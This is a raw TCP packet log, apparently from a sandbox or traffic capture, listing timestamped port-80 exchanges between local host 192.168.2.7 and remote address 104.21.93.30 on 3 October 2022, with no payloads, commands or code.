Oct 3, 2022 17:34:53.866195917 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866204023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866214991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866229057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866234064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866252899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866267920 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866290092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866309881 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866333008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866352081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866369009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866386890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866390944 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866405010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866421938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866434097 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866440058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866458893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866463900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866477966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866494894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866502047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866513014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866529942 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866535902 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866548061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866564035 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866564989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866584063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866600990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866617918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866622925 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866635084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866643906 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866655111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866668940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866673946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.866715908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.866827965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867278099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867522955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867544889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867563009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867564917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867577076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867594957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867613077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867619038 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867630005 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867633104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867645979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867652893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867671967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867690086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867696047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867707968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867726088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867731094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867744923 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867763042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867779970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867783070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867799044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867806911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867818117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867831945 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.867835999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867854118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867872000 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.867877007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.868207932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868230104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868247032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868258953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.868264914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868283033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.868284941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868304968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868309021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.868323088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868340969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868359089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868365049 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.868377924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.868387938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.868415117 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899442911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899476051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899494886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899509907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899527073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899633884 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899665117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899693012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899714947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899720907 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899734020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899751902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899754047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899770021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899787903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899791002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899806023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899823904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899830103 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899842978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899861097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899867058 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899878979 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899895906 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899902105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899914980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899933100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899949074 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899952888 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899967909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.899974108 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.899986029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900000095 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900002956 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900022030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900042057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900346994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900367022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900407076 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900568008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900585890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900600910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900619030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900626898 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900636911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900641918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900657892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900671959 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900676966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900696993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900713921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900723934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900732994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900749922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900753975 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900768995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900788069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900804996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900808096 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900821924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900831938 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900840044 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900856972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900861979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900875092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900892019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900908947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900913954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900927067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900937080 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900944948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900963068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.900969982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.900995970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901000023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.901452065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901468039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901526928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.901752949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901772976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901792049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901804924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901825905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.901851892 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.901911020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901930094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901947021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901964903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.901968002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.901981115 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.901988983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902008057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902024984 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902044058 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902045012 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902061939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902069092 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902081966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902097940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902098894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902117968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902137041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902141094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902234077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902254105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902271032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902287960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902287960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902308941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902327061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902338982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902343988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902363062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902369976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902396917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902792931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902810097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902827024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902843952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902851105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902862072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902884007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.902889967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.902932882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903012991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903031111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903047085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903064966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903081894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903084040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903100014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903107882 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903117895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903135061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903139114 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903153896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903171062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903189898 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903203011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903213978 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903220892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903239012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903259039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903275967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903278112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903295040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903306007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903314114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903331995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903335094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903351068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903367996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903383970 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903387070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903413057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.903956890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903979063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.903995991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904012918 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904025078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904031992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904051065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904059887 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904069901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904076099 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904088020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904104948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904108047 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904123068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904139996 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904140949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904159069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904176950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904181004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904195070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904212952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904289007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904306889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904324055 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904341936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904341936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904361963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904370070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904381037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904397964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904402018 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904448032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.904913902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904933929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904952049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904968023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.904974937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905011892 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905201912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905220985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905237913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905255079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905256987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905272961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905289888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905297041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905308962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905323029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905328035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905347109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905364990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905370951 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905383110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905400038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905400038 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905416965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905433893 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905452013 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905452013 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905471087 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905478001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905488968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905508041 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.905873060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.905914068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.908695936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.908824921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.944545031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944574118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944586992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944600105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944612980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944624901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944638968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944652081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944664001 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944675922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944689035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944701910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944715023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944727898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944741011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944752932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944766045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944777966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944797993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944809914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944823027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944947958 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.944968939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.944991112 CEST	80	49702	104.21.93.30	192.168.2.7
